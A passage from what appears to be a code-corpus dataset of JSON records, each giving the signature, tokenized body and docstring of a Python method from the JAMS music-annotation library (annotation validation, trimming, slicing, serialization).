needle='quick brown fox')\n        >>> J.search(needle='.*brown.*')\n        True\n        >>> J.search(needle='.*orange.*')\n        False\n        >>> J.search(badger='.*brown.*')\n        False\n        >>> J.search(foo=5)\n        True\n        >>> J.search(foo=10)\n        False\n        >>> J.search(foo=lambda x: x < 10)\n        True\n        >>> J.search(foo=lambda x: x > 10)\n        False", "id": "f11239:c0:m20"}
{"signature": "def validate(self, strict=True):", "body": "valid = True<EOL>try:<EOL><INDENT>jsonschema.validate(self.__json__, self.__schema__)<EOL><DEDENT>except jsonschema.ValidationError as invalid:<EOL><INDENT>if strict:<EOL><INDENT>raise SchemaError(str(invalid))<EOL><DEDENT>else:<EOL><INDENT>warnings.warn(str(invalid))<EOL><DEDENT>valid = False<EOL><DEDENT>return valid<EOL>", "docstring": "Validate a JObject against its schema\n\n        Parameters\n        ----------\n        strict : bool\n            Enforce strict schema validation\n\n        Returns\n        -------\n        valid : bool\n            True if the jam validates\n            False if not, and `strict==False`\n\n        Raises\n        ------\n        SchemaError\n            If `strict==True` and `jam` fails validation", "id": "f11239:c0:m21"}
{"signature": "def __init__(self, namespace, data=None, annotation_metadata=None,<EOL>sandbox=None, time=<NUM_LIT:0>, duration=None):", "body": "super(Annotation, self).__init__()<EOL>if annotation_metadata is None:<EOL><INDENT>annotation_metadata = AnnotationMetadata()<EOL><DEDENT>self.annotation_metadata = AnnotationMetadata(**annotation_metadata)<EOL>self.namespace = namespace<EOL>self.data = SortedKeyList(key=self._key)<EOL>if data is not None:<EOL><INDENT>if isinstance(data, dict):<EOL><INDENT>self.append_columns(data)<EOL><DEDENT>else:<EOL><INDENT>self.append_records(data)<EOL><DEDENT><DEDENT>if sandbox is None:<EOL><INDENT>sandbox = Sandbox()<EOL><DEDENT>self.sandbox = Sandbox(**sandbox)<EOL>self.time = time<EOL>self.duration = duration<EOL>", "docstring": "Create an Annotation.\n\n        Note that, if an argument is None, an empty Annotation is created in\n        its place. Additionally, a dictionary matching the expected structure\n        of the arguments will be parsed (i.e. instantiating from JSON).\n\n        Parameters\n        ----------\n        namespace : str\n            The namespace for this annotation\n\n        data : dict of lists, list of dicts, or list of Observations\n            Data for the new annotation\n\n        annotation_metadata : AnnotationMetadata (or dict), default=None.\n            Metadata corresponding to this Annotation.\n\n        sandbox : Sandbox (dict), default=None\n            Miscellaneous information; keep to native datatypes if possible.\n\n        time : non-negative number\n            The starting time for this annotation\n\n        duration : non-negative number\n            The duration of this annotation", "id": "f11239:c2:m0"}
{"signature": "def append(self, time=None, duration=None, value=None, confidence=None):", "body": "self.data.add(Observation(time=float(time),<EOL>duration=float(duration),<EOL>value=value,<EOL>confidence=confidence))<EOL>", "docstring": "Append an observation to the data field\n\n        Parameters\n        ----------\n        time : float >= 0\n        duration : float >= 0\n            The time and duration of the new observation, in seconds\n        value\n        confidence\n            The value and confidence of the new observations.\n\n            Types and values should conform to the namespace of the\n            Annotation object.\n\n        Examples\n        --------\n        >>> ann = jams.Annotation(namespace='chord')\n        >>> ann.append(time=3, duration=2, value='E#')", "id": "f11239:c2:m2"}
{"signature": "def append_records(self, records):", "body": "for obs in records:<EOL><INDENT>if isinstance(obs, Observation):<EOL><INDENT>self.append(**obs._asdict())<EOL><DEDENT>else:<EOL><INDENT>self.append(**obs)<EOL><DEDENT><DEDENT>", "docstring": "Add observations from row-major storage.\n\n        This is primarily useful for deserializing sparsely packed data.\n\n        Parameters\n        ----------\n        records : iterable of dicts or Observations\n            Each element of `records` corresponds to one observation.", "id": "f11239:c2:m3"}
{"signature": "def append_columns(self, columns):", "body": "self.append_records([dict(time=t, duration=d, value=v, confidence=c)<EOL>for (t, d, v, c)<EOL>in six.moves.zip(columns['<STR_LIT:time>'],<EOL>columns['<STR_LIT>'],<EOL>columns['<STR_LIT:value>'],<EOL>columns['<STR_LIT>'])])<EOL>", "docstring": "Add observations from column-major storage.\n\n        This is primarily used for deserializing densely packed data.\n\n        Parameters\n        ----------\n        columns : dict of lists\n            Keys must be `time, duration, value, confidence`,\n            and each much be a list of equal length.", "id": "f11239:c2:m4"}
{"signature": "def validate(self, strict=True):", "body": "<EOL>ann_schema = schema.namespace_array(self.namespace)<EOL>valid = True<EOL>try:<EOL><INDENT>jsonschema.validate(self.__json_light__(data=False),<EOL>schema.JAMS_SCHEMA)<EOL>data_ser = [serialize_obj(obs) for obs in self.data]<EOL>jsonschema.validate(data_ser, ann_schema)<EOL><DEDENT>except jsonschema.ValidationError as invalid:<EOL><INDENT>if strict:<EOL><INDENT>raise SchemaError(str(invalid))<EOL><DEDENT>else:<EOL><INDENT>warnings.warn(str(invalid))<EOL><DEDENT>valid = False<EOL><DEDENT>return valid<EOL>", "docstring": "Validate this annotation object against the JAMS schema,\n        and its data against the namespace schema.\n\n        Parameters\n        ----------\n        strict : bool\n            If `True`, then schema violations will cause an Exception.\n            If `False`, then schema violations will issue a warning.\n\n        Returns\n        -------\n        valid : bool\n            `True` if the object conforms to schema.\n            `False` if the object fails to conform to schema,\n            but `strict == False`.\n\n        Raises\n        ------\n        SchemaError\n            If `strict == True` and the object fails validation\n\n        See Also\n        --------\n        JObject.validate", "id": "f11239:c2:m5"}
{"signature": "def trim(self, start_time, end_time, strict=False):", "body": "<EOL>if end_time <= start_time:<EOL><INDENT>raise ParameterError(<EOL>'<STR_LIT>')<EOL><DEDENT>if self.duration is None:<EOL><INDENT>orig_time = start_time<EOL>orig_duration = end_time - start_time<EOL>warnings.warn(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>orig_time = self.time<EOL>orig_duration = self.duration<EOL><DEDENT>if start_time > (orig_time + orig_duration) or (end_time < orig_time):<EOL><INDENT>warnings.warn(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>trim_start = self.time<EOL>trim_end = trim_start<EOL><DEDENT>else:<EOL><INDENT>trim_start = max(orig_time, start_time)<EOL>trim_end = min(orig_time + orig_duration, end_time)<EOL><DEDENT>ann_trimmed = Annotation(<EOL>self.namespace,<EOL>data=None,<EOL>annotation_metadata=self.annotation_metadata,<EOL>sandbox=self.sandbox,<EOL>time=trim_start,<EOL>duration=trim_end - trim_start)<EOL>for obs in self.data:<EOL><INDENT>obs_start = obs.time<EOL>obs_end = obs_start + obs.duration<EOL>if obs_start < trim_end and obs_end > trim_start:<EOL><INDENT>new_start = max(obs_start, trim_start)<EOL>new_end = min(obs_end, trim_end)<EOL>new_duration = new_end - new_start<EOL>if ((not strict) or<EOL>(new_start == obs_start and new_end == obs_end)):<EOL><INDENT>ann_trimmed.append(time=new_start,<EOL>duration=new_duration,<EOL>value=obs.value,<EOL>confidence=obs.confidence)<EOL><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' not in ann_trimmed.sandbox.keys():<EOL><INDENT>ann_trimmed.sandbox.update(<EOL>trim=[{'<STR_LIT>': start_time, '<STR_LIT>': end_time,<EOL>'<STR_LIT>': trim_start, '<STR_LIT>': trim_end}])<EOL><DEDENT>else:<EOL><INDENT>ann_trimmed.sandbox.trim.append(<EOL>{'<STR_LIT>': start_time, '<STR_LIT>': end_time,<EOL>'<STR_LIT>': trim_start, '<STR_LIT>': trim_end})<EOL><DEDENT>return ann_trimmed<EOL>", "docstring": "Trim the annotation and return as a new `Annotation` object.\n\nTrimming will result in the new annotation only containing observations\nthat occur in the intersection of the time range spanned by the\nannotation and the time range specified by the user. The new annotation\nwill span the time range ``[trim_start, trim_end]`` where\n``trim_start = max(self.time, start_time)`` and ``trim_end =\nmin(self.time + self.duration, end_time)``.\n\nIf ``strict=False`` (default) observations that start before\n``trim_start`` and end after it will be trimmed such that they start at\n``trim_start``, and similarly observations that start before\n``trim_end`` and end after it will be trimmed to end at ``trim_end``.\nIf ``strict=True`` such borderline observations will be discarded.\n\nThe new duration of the annotation will be ``trim_end - trim_start``.\n\nNote that if the range defined by ``[start_time, end_time]``\ndoesn't intersect with the original time range spanned by the\nannotation the resulting annotation will contain no observations, will\nhave the same start time as the original annotation and have duration\n0.\n\nThis function also copies over all the annotation metadata from the\noriginal annotation and documents the trim operation by adding a list\nof tuples to the annotation's sandbox keyed by\n``Annotation.sandbox.trim`` which documents each trim operation with a\ntuple ``(start_time, end_time, trim_start, trim_end)``.\n\nParameters\n----------\nstart_time : float\n    The desired start time for the trimmed annotation in seconds.\nend_time\n    The desired end time for the trimmed annotation in seconds. Must be\n    greater than ``start_time``.\nstrict : bool\n    When ``False`` (default) observations that lie at the boundaries of\n    the trimming range (given by ``[trim_start, trim_end]`` as\n    described above), i.e. observations that start before and end after\n    either the trim start or end time, will have their time and/or\n    duration adjusted such that only the part of the observation that\n    lies within the trim range is kept. When ``True`` such observations\n    are discarded and not included in the trimmed annotation.\n\nReturns\n-------\nann_trimmed : Annotation\n    The trimmed annotation, returned as a new jams.Annotation object.\n    If the trim range specified by ``[start_time, end_time]`` does not\n    intersect at all with the original time range of the annotation a\n    warning will be issued and the returned annotation will be empty.\n\nRaises\n------\nParameterError\n    If ``end_time`` is not greater than ``start_time``.\n\nExamples\n--------\n>>> ann = jams.Annotation(namespace='tag_open', time=2, duration=8)\n>>> ann.append(time=2, duration=2, value='one')\n>>> ann.append(time=4, duration=2, value='two')\n>>> ann.append(time=6, duration=2, value='three')\n>>> ann.append(time=7, duration=2, value='four')\n>>> ann.append(time=8, duration=2, value='five')\n>>> ann_trim = ann.trim(5, 8, strict=False)\n>>> print(ann_trim.time, ann_trim.duration)\n(5, 3)\n>>> ann_trim.to_dataframe()\n   time  duration  value confidence\n0     5         1    two       None\n1     6         2  three       None\n2     7         1   four       None\n>>> ann_trim_strict = ann.trim(5, 8, strict=True)\n>>> print(ann_trim_strict.time, ann_trim_strict.duration)\n(5, 3)\n>>> ann_trim_strict.to_dataframe()\n   time  duration  value confidence\n0     6         2  three       None", "id": "f11239:c2:m6"}
{"signature": "def slice(self, start_time, end_time, strict=False):", "body": "<EOL>sliced_ann = self.trim(start_time, end_time, strict=strict)<EOL>raw_data = sliced_ann.pop_data()<EOL>for obs in raw_data:<EOL><INDENT>new_time = max(<NUM_LIT:0>, obs.time - start_time)<EOL>sliced_ann.append(time=new_time,<EOL>duration=obs.duration,<EOL>value=obs.value,<EOL>confidence=obs.confidence)<EOL><DEDENT>ref_time = sliced_ann.time<EOL>slice_start = ref_time<EOL>slice_end = ref_time + sliced_ann.duration<EOL>if '<STR_LIT>' not in sliced_ann.sandbox.keys():<EOL><INDENT>sliced_ann.sandbox.update(<EOL>slice=[{'<STR_LIT>': start_time, '<STR_LIT>': end_time,<EOL>'<STR_LIT>': slice_start, '<STR_LIT>': slice_end}])<EOL><DEDENT>else:<EOL><INDENT>sliced_ann.sandbox.slice.append(<EOL>{'<STR_LIT>': start_time, '<STR_LIT>': end_time,<EOL>'<STR_LIT>': slice_start, '<STR_LIT>': slice_end})<EOL><DEDENT>sliced_ann.time = max(<NUM_LIT:0>, ref_time - start_time)<EOL>return sliced_ann<EOL>", "docstring": "Slice the annotation and return as a new `Annotation` object.\n\nSlicing has the same effect as trimming (see `Annotation.trim`) except\nthat while trimming does not modify the start time of the annotation or\nthe observations it contains, slicing will set the new annotation's\nstart time to ``max(0, trimmed_annotation.time - start_time)`` and the\nstart time of its observations will be set with respect to this new\nreference start time.\n\nThis function documents the slice operation by adding a list of tuples\nto the annotation's sandbox keyed by ``Annotation.sandbox.slice`` which\ndocuments each slice operation with a tuple\n``(start_time, end_time, slice_start, slice_end)``, where\n``slice_start`` and ``slice_end`` are given by ``trim_start`` and\n``trim_end`` (see `Annotation.trim`).\n\nSince slicing is implemented  using trimming, the trimming operation\nwill also be documented in ``Annotation.sandbox.trim`` as described in\n`Annotation.trim`.\n\nThis function is useful for example when trimming an audio file,\nallowing the user to trim the annotation while ensuring all time\ninformation matches the new trimmed audio file.\n\nParameters\n----------\nstart_time : float\n    The desired start time for slicing in seconds.\nend_time\n    The desired end time for slicing in seconds. Must be greater than\n    ``start_time``.\nstrict : bool\n    When ``False`` (default) observations that lie at the boundaries of\n    the slice (see `Annotation.trim` for details) will have their time\n    and/or duration adjusted such that only the part of the observation\n    that lies within the slice range is kept. When ``True`` such\n    observations are discarded and not included in the sliced\n    annotation.\n\nReturns\n-------\nsliced_ann : Annotation\n    The sliced annotation.\n\nSee Also\n--------\nAnnotation.trim\n\nExamples\n--------\n>>> ann = jams.Annotation(namespace='tag_open', time=2, duration=8)\n>>> ann.append(time=2, duration=2, value='one')\n>>> ann.append(time=4, duration=2, value='two')\n>>> ann.append(time=6, duration=2, value='three')\n>>> ann.append(time=7, duration=2, value='four')\n>>> ann.append(time=8, duration=2, value='five')\n>>> ann_slice = ann.slice(5, 8, strict=False)\n>>> print(ann_slice.time, ann_slice.duration)\n(0, 3)\n>>> ann_slice.to_dataframe()\n   time  duration  value confidence\n0   0.0       1.0    two       None\n1   1.0       2.0  three       None\n2   2.0       1.0   four       None\n>>> ann_slice_strict = ann.slice(5, 8, strict=True)\n>>> print(ann_slice_strict.time, ann_slice_strict.duration)\n(0, 3)\n>>> ann_slice_strict.to_dataframe()\n   time  duration  value confidence\n0   1.0       2.0  three       None", "id": "f11239:c2:m7"}
{"signature": "def pop_data(self):", "body": "data = self.data<EOL>self.data = SortedKeyList(key=self._key)<EOL>return data<EOL>", "docstring": "Replace this observation's data with a fresh container.\n\n        Returns\n        -------\n        annotation_data : SortedKeyList\n            The original annotation data container", "id": "f11239:c2:m8"}
{"signature": "def to_interval_values(self):", "body": "ints, vals = [], []<EOL>for obs in self.data:<EOL><INDENT>ints.append([obs.time, obs.time + obs.duration])<EOL>vals.append(obs.value)<EOL><DEDENT>if not ints:<EOL><INDENT>return np.empty(shape=(<NUM_LIT:0>, <NUM_LIT:2>), dtype=float), []<EOL><DEDENT>return np.array(ints), vals<EOL>", "docstring": "Extract observation data in a `mir_eval`-friendly format.\n\n        Returns\n        -------\n        intervals : np.ndarray [shape=(n, 2), dtype=float]\n            Start- and end-times of all valued intervals\n\n            `intervals[i, :] = [time[i], time[i] + duration[i]]`\n\n        labels : list\n            List view of value field.", "id": "f11239:c2:m9"}
{"signature": "def to_event_values(self):", "body": "ints, vals = [], []<EOL>for obs in self.data:<EOL><INDENT>ints.append(obs.time)<EOL>vals.append(obs.value)<EOL><DEDENT>return np.array(ints), vals<EOL>", "docstring": "Extract observation data in a `mir_eval`-friendly format.\n\n        Returns\n        -------\n        times : np.ndarray [shape=(n,), dtype=float]\n            Start-time of all observations\n\n        labels : list\n            List view of value field.", "id": "f11239:c2:m10"}
{"signature": "def to_dataframe(self):", "body": "return pd.DataFrame.from_records(list(self.data),<EOL>columns=['<STR_LIT:time>', '<STR_LIT>',<EOL>'<STR_LIT:value>', '<STR_LIT>'])<EOL>", "docstring": "Convert this annotation to a pandas dataframe.\n\n        Returns\n        -------\n        df : pd.DataFrame\n            Columns are `time, duration, value, confidence`.\n            Each row is an observation, and rows are sorted by\n            ascending `time`.", "id": "f11239:c2:m11"}
{"signature": "def to_samples(self, times, confidence=False):", "body": "times = np.asarray(times)<EOL>if times.ndim != <NUM_LIT:1> or np.any(times < <NUM_LIT:0>):<EOL><INDENT>raise ParameterError('<STR_LIT>')<EOL><DEDENT>idx = np.argsort(times)<EOL>samples = times[idx]<EOL>values = [list() for _ in samples]<EOL>confidences = [list() for _ in samples]<EOL>for obs in self.data:<EOL><INDENT>start = np.searchsorted(samples, obs.time)<EOL>end = np.searchsorted(samples, obs.time + obs.duration, side='<STR_LIT:right>')<EOL>for i in range(start, end):<EOL><INDENT>values[idx[i]].append(obs.value)<EOL>confidences[idx[i]].append(obs.confidence)<EOL><DEDENT><DEDENT>if confidence:<EOL><INDENT>return values, confidences<EOL><DEDENT>else:<EOL><INDENT>return values<EOL><DEDENT>", "docstring": "Sample the annotation at specified times.\n\n        Parameters\n        ----------\n        times : np.ndarray, non-negative, ndim=1\n            The times (in seconds) to sample the annotation\n\n        confidence : bool\n            If `True`, return both values and confidences.\n            If `False` (default) only return values.\n\n        Returns\n        -------\n        values : list\n            `values[i]` is a list of observation values for intervals\n            that cover `times[i]`.\n\n        confidence : list (optional)\n            `confidence` values corresponding to `values`", "id": "f11239:c2:m12"}
{"signature": "def to_html(self, max_rows=None):", "body": "n = len(self.data)<EOL>div_id = _get_divid(self)<EOL>out = r'''<STR_LIT>'''.format(div_id, self.namespace, n)<EOL>out += r'''<STR_LIT>'''.format(div_id)<EOL>out += r'''<STR_LIT>'''.format(self.annotation_metadata._repr_html_())<EOL>out += r'''<STR_LIT>'''.format(self.sandbox._repr_html_())<EOL>out += r'''<STR_LIT>'''.format(self.namespace, n)<EOL>out += r'''<STR_LIT>'''<EOL>if max_rows is None or n <= max_rows:<EOL><INDENT>out += self._fmt_rows(<NUM_LIT:0>, n)<EOL><DEDENT>else:<EOL><INDENT>out += self._fmt_rows(<NUM_LIT:0>, max_rows//<NUM_LIT:2>)<EOL>out += r'''<STR_LIT>'''<EOL>out += self._fmt_rows(n-max_rows//<NUM_LIT:2>, n)<EOL><DEDENT>out += r'''<STR_LIT>'''<EOL>out += r'''<STR_LIT>'''<EOL>out += r'''<STR_LIT>'''<EOL>return out<EOL>", "docstring": "Render this annotation list in HTML\n\n        Returns\n        -------\n        rendered : str\n            An HTML table containing this annotation's data.", "id": "f11239:c2:m14"}
{"signature": "def _repr_html_(self, max_rows=<NUM_LIT>):", "body": "return self.to_html(max_rows=max_rows)<EOL>", "docstring": "Render annotation as HTML.  See also: `to_html()`", "id": "f11239:c2:m16"}
{"signature": "def __json_light__(self, data=True):", "body": "filtered_dict = dict()<EOL>for k, item in six.iteritems(self.__dict__):<EOL><INDENT>if k.startswith('<STR_LIT:_>'):<EOL><INDENT>continue<EOL><DEDENT>elif k == '<STR_LIT:data>':<EOL><INDENT>if data:<EOL><INDENT>filtered_dict[k] = self.__json_data__<EOL><DEDENT>else:<EOL><INDENT>filtered_dict[k] = []<EOL><DEDENT><DEDENT>elif hasattr(item, '<STR_LIT>'):<EOL><INDENT>filtered_dict[k] = item.__json__<EOL><DEDENT>else:<EOL><INDENT>filtered_dict[k] = item<EOL><DEDENT><DEDENT>return filtered_dict<EOL>", "docstring": "r\"\"\"Return the JObject as a set of native data types for serialization.\n\n        Note: attributes beginning with underscores are suppressed.", "id": "f11239:c2:m18"}
{"signature": "@property<EOL><INDENT>def __json_data__(self):<DEDENT>", "body": "if schema.is_dense(self.namespace):<EOL><INDENT>dense_records = dict()<EOL>for field in Observation._fields:<EOL><INDENT>dense_records[field] = []<EOL><DEDENT>for obs in self.data:<EOL><INDENT>for key, val in six.iteritems(obs._asdict()):<EOL><INDENT>dense_records[key].append(serialize_obj(val))<EOL><DEDENT><DEDENT>return dense_records<EOL><DEDENT>else:<EOL><INDENT>return [serialize_obj(_) for _ in self.data]<EOL><DEDENT>", "docstring": "r\"\"\"JSON-serialize the observation sequence.", "id": "f11239:c2:m19"}
{"signature": "@classmethod<EOL><INDENT>def _key(cls, obs):<DEDENT>", "body": "if not isinstance(obs, Observation):<EOL><INDENT>raise JamsError('<STR_LIT>'.format(obs))<EOL><DEDENT>return obs.time<EOL>", "docstring": "Provides sorting index for Observation objects", "id": "f11239:c2:m20"}
{"signature": "def __init__(self, name='<STR_LIT>', email='<STR_LIT>'):", "body": "super(Curator, self).__init__()<EOL>self.name = name<EOL>self.email = email<EOL>", "docstring": "Create a Curator.\n\n        Parameters\n        ----------\n        name: str, default=''\n            Common name of the curator.\n\n        email: str, default=''\n            An email address corresponding to the curator.", "id": "f11239:c3:m0"}
{"signature": "def __init__(self, curator=None, version='<STR_LIT>', corpus='<STR_LIT>', annotator=None,<EOL>annotation_tools='<STR_LIT>', annotation_rules='<STR_LIT>', validation='<STR_LIT>',<EOL>data_source='<STR_LIT>'):", "body": "super(AnnotationMetadata, self).__init__()<EOL>if curator is None:<EOL><INDENT>curator = Curator()<EOL><DEDENT>if annotator is None:<EOL><INDENT>annotator = JObject()<EOL><DEDENT>self.curator = Curator(**curator)<EOL>self.annotator = JObject(**annotator)<EOL>self.version = version<EOL>self.corpus = corpus<EOL>self.annotation_tools = annotation_tools<EOL>self.annotation_rules = annotation_rules<EOL>self.validation = validation<EOL>self.data_source = data_source<EOL>", "docstring": "Create an AnnotationMetadata object.\n\n        Parameters\n        ----------\n        curator: Curator, default=None\n            Object documenting a name and email address for the person of\n            correspondence.\n\n        version: string, default=''\n            Version of this annotation.\n\n        annotator: dict, default=None\n            Sandbox for information about the specific annotator, such as\n            musical experience, skill level, principal instrument, etc.\n\n        corpus: str, default=''\n            Collection assignment.\n\n        annotation_tools: str, default=''\n            Description of the tools used to create the annotation.\n\n        annotation_rules: str, default=''\n            Description of the rules provided to the annotator.\n\n        validation: str, default=''\n            Methods for validating the integrity of the data.\n\n        data_source: str, default=''\n            Description of where the data originated, e.g. 'Manual Annotation'.", "id": "f11239:c4:m0"}
{"signature": "def __init__(self, title='<STR_LIT>', artist='<STR_LIT>', release='<STR_LIT>', duration=None,<EOL>identifiers=None, jams_version=None):", "body": "super(FileMetadata, self).__init__()<EOL>if jams_version is None:<EOL><INDENT>jams_version = __VERSION__<EOL><DEDENT>if identifiers is None:<EOL><INDENT>identifiers = Sandbox()<EOL><DEDENT>self.title = title<EOL>self.artist = artist<EOL>self.release = release<EOL>self.duration = duration<EOL>self.identifiers = Sandbox(**identifiers)<EOL>self.jams_version = jams_version<EOL>", "docstring": "Create a file-level Metadata object.\n\n        Parameters\n        ----------\n        title: str\n            Name of the recording.\n\n        artist: str\n            Name of the artist / musician.\n\n        release: str\n            Name of the release\n\n        duration: number >= 0\n            Time duration of the file, in seconds.\n\n        identifiers : jams.Sandbox\n            Sandbox of identifier keys (eg, musicbrainz ids)\n\n        jams_version: str\n            Version of the JAMS Schema.", "id": "f11239:c5:m0"}
{"signature": "def __init__(self, annotations=None):", "body": "super(AnnotationArray, self).__init__()<EOL>if annotations is None:<EOL><INDENT>annotations = list()<EOL><DEDENT>self.extend([Annotation(**obj) for obj in annotations])<EOL>", "docstring": "Create an AnnotationArray.\n\n        Parameters\n        ----------\n        annotations: list\n            List of Annotations, or appropriately formated dicts\n            is consistent with Annotation.", "id": "f11239:c6:m0"}
{"signature": "def search(self, **kwargs):", "body": "results = AnnotationArray()<EOL>for annotation in self:<EOL><INDENT>if annotation.search(**kwargs):<EOL><INDENT>results.append(annotation)<EOL><DEDENT><DEDENT>return results<EOL>", "docstring": "Filter the annotation array down to only those Annotation\n        objects matching the query.\n\n\n        Parameters\n        ----------\n        kwargs : search parameters\n            See JObject.search\n\n        Returns\n        -------\n        results : AnnotationArray\n            An annotation array of the objects matching the query\n\n        See Also\n        --------\n        JObject.search", "id": "f11239:c6:m1"}
{"signature": "def __getitem__(self, idx):", "body": "<EOL>if isinstance(idx, (int, slice)):<EOL><INDENT>return list.__getitem__(self, idx)<EOL><DEDENT>elif isinstance(idx, six.string_types) or six.callable(idx):<EOL><INDENT>return self.search(namespace=idx)<EOL><DEDENT>elif isinstance(idx, tuple):<EOL><INDENT>return self.search(namespace=idx[<NUM_LIT:0>])[idx[<NUM_LIT:1>]]<EOL><DEDENT>raise IndexError('<STR_LIT>'.format(idx))<EOL>", "docstring": "Overloaded getitem for syntactic search sugar", "id": "f11239:c6:m2"}
{"signature": "def trim(self, start_time, end_time, strict=False):", "body": "trimmed_array = AnnotationArray()<EOL>for ann in self:<EOL><INDENT>trimmed_array.append(ann.trim(start_time, end_time, strict=strict))<EOL><DEDENT>return trimmed_array<EOL>", "docstring": "Trim every annotation contained in the annotation array using\n`Annotation.trim` and return as a new `AnnotationArray`.\n\nSee `Annotation.trim` for details about trimming. This function does\nnot modify the annotations in the original annotation array.\n\n\nParameters\n----------\nstart_time : float\n    The desired start time for the trimmed annotations in seconds.\nend_time\n    The desired end time for trimmed annotations in seconds. Must be\n    greater than ``start_time``.\nstrict : bool\n    When ``False`` (default) observations that lie at the boundaries of\n    the trimming range (see `Annotation.trim` for details) will have\n    their time and/or duration adjusted such that only the part of the\n    observation that lies within the trim range is kept. When ``True``\n    such observations are discarded and not included in the trimmed\n    annotation.\n\nReturns\n-------\ntrimmed_array : AnnotationArray\n    An annotation array where every annotation has been trimmed.", "id": "f11239:c6:m4"}
{"signature": "def slice(self, start_time, end_time, strict=False):", "body": "sliced_array = AnnotationArray()<EOL>for ann in self:<EOL><INDENT>sliced_array.append(ann.slice(start_time, end_time, strict=strict))<EOL><DEDENT>return sliced_array<EOL>", "docstring": "Slice every annotation contained in the annotation array using\n`Annotation.slice`\nand return as a new AnnotationArray\n\nSee `Annotation.slice` for details about slicing. This function does\nnot modify the annotations in the original annotation array.\n\nParameters\n----------\nstart_time : float\n    The desired start time for slicing in seconds.\nend_time\n    The desired end time for slicing in seconds. Must be greater than\n    ``start_time``.\nstrict : bool\n    When ``False`` (default) observations that lie at the boundaries of\n    the slicing range (see `Annotation.slice` for details) will have\n    their time and/or duration adjusted such that only the part of the\n    observation that lies within the trim range is kept. When ``True``\n    such observations are discarded and not included in the sliced\n    annotation.\n\nReturns\n-------\nsliced_array : AnnotationArray\n    An annotation array where every annotation has been sliced.", "id": "f11239:c6:m5"}
{"signature": "def __init__(self, annotations=None, file_metadata=None, sandbox=None):", "body": "super(JAMS, self).__init__()<EOL>if file_metadata is None:<EOL><INDENT>file_metadata = FileMetadata()<EOL><DEDENT>if sandbox is None:<EOL><INDENT>sandbox = Sandbox()<EOL><DEDENT>self.annotations = AnnotationArray(annotations=annotations)<EOL>self.file_metadata = FileMetadata(**file_metadata)<EOL>self.sandbox = Sandbox(**sandbox)<EOL>", "docstring": "Create a Jams object.\n\n        Parameters\n        ----------\n        annotations : list of Annotations\n            Zero or more Annotation objects\n\n        file_metadata : FileMetadata (or dict), default=None\n            Metadata corresponding to the audio file.\n\n        sandbox : Sandbox (or dict), default=None\n            Unconstrained global sandbox for additional information.", "id": "f11239:c7:m0"}
{"signature": "def add(self, jam, on_conflict='<STR_LIT>'):", "body": "if on_conflict not in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:ignore>']:<EOL><INDENT>raise ParameterError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(on_conflict))<EOL><DEDENT>if not self.file_metadata == jam.file_metadata:<EOL><INDENT>if on_conflict == '<STR_LIT>':<EOL><INDENT>self.file_metadata = jam.file_metadata<EOL><DEDENT>elif on_conflict == '<STR_LIT>':<EOL><INDENT>raise JamsError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>self.annotations.extend(jam.annotations)<EOL>self.sandbox.update(**jam.sandbox)<EOL>", "docstring": "Add the contents of another jam to this object.\n\n        Note that, by default, this method fails if file_metadata is not\n        identical and raises a ValueError; either resolve this manually\n        (because conflicts should almost never happen), force an 'overwrite',\n        or tell the method to 'ignore' the metadata of the object being added.\n\n        Parameters\n        ----------\n        jam: JAMS object\n            Object to add to this jam\n\n        on_conflict: str, default='fail'\n            Strategy for resolving metadata conflicts; one of\n                ['fail', 'overwrite', or 'ignore'].\n\n        Raises\n        ------\n        ParameterError\n            if `on_conflict` is an unknown value\n\n        JamsError\n            If a conflict is detected and `on_conflict='fail'`", "id": "f11239:c7:m3"}
{"signature": "def search(self, **kwargs):", "body": "return self.annotations.search(**kwargs)<EOL>", "docstring": "Search a JAMS object for matching objects.\n\n        Parameters\n        ----------\n        kwargs : keyword arguments\n            Keyword query\n\n        Returns\n        -------\n        AnnotationArray\n            All annotation objects in this JAMS which match the query\n\n        See Also\n        --------\n        JObject.search\n        AnnotationArray.search\n\n\n        Examples\n        --------\n        A simple query to get all beat annotations\n\n        >>> beats = my_jams.search(namespace='beat')", "id": "f11239:c7:m4"}
{"signature": "def save(self, path_or_file, strict=True, fmt='<STR_LIT>'):", "body": "self.validate(strict=strict)<EOL>with _open(path_or_file, mode='<STR_LIT:w>', fmt=fmt) as fdesc:<EOL><INDENT>json.dump(self.__json__, fdesc, indent=<NUM_LIT:2>)<EOL><DEDENT>", "docstring": "Serialize annotation as a JSON formatted stream to file.\n\n        Parameters\n        ----------\n        path_or_file : str or file-like\n            Path to save the JAMS object on disk\n            OR\n            An open file descriptor to write into\n\n        strict : bool\n            Force strict schema validation\n\n        fmt : str ['auto', 'jams', 'jamz']\n            The output encoding format.\n\n            If `auto`, it is inferred from the file name.\n\n            If the input is an open file handle, `jams` encoding\n            is used.\n\n\n        Raises\n        ------\n        SchemaError\n            If `strict == True` and the JAMS object fails schema\n            or namespace validation.\n\n        See also\n        --------\n        validate", "id": "f11239:c7:m5"}
{"signature": "def validate(self, strict=True):", "body": "valid = True<EOL>try:<EOL><INDENT>jsonschema.validate(self.__json_light__, schema.JAMS_SCHEMA)<EOL>for ann in self.annotations:<EOL><INDENT>if isinstance(ann, Annotation):<EOL><INDENT>valid &= ann.validate(strict=strict)<EOL><DEDENT>else:<EOL><INDENT>msg = '<STR_LIT>'.format(ann)<EOL>valid = False<EOL>if strict:<EOL><INDENT>raise SchemaError(msg)<EOL><DEDENT>else:<EOL><INDENT>warnings.warn(str(msg))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except jsonschema.ValidationError as invalid:<EOL><INDENT>if strict:<EOL><INDENT>raise SchemaError(str(invalid))<EOL><DEDENT>else:<EOL><INDENT>warnings.warn(str(invalid))<EOL><DEDENT>valid = False<EOL><DEDENT>return valid<EOL>", "docstring": "Validate a JAMS object against the schema.\n\n        Parameters\n        ----------\n        strict : bool\n            If `True`, an exception will be raised on validation failure.\n            If `False`, a warning will be raised on validation failure.\n\n        Returns\n        -------\n        valid : bool\n            `True` if the object passes schema validation.\n            `False` otherwise.\n\n        Raises\n        ------\n        SchemaError\n            If `strict==True` and the JAMS object does not match the 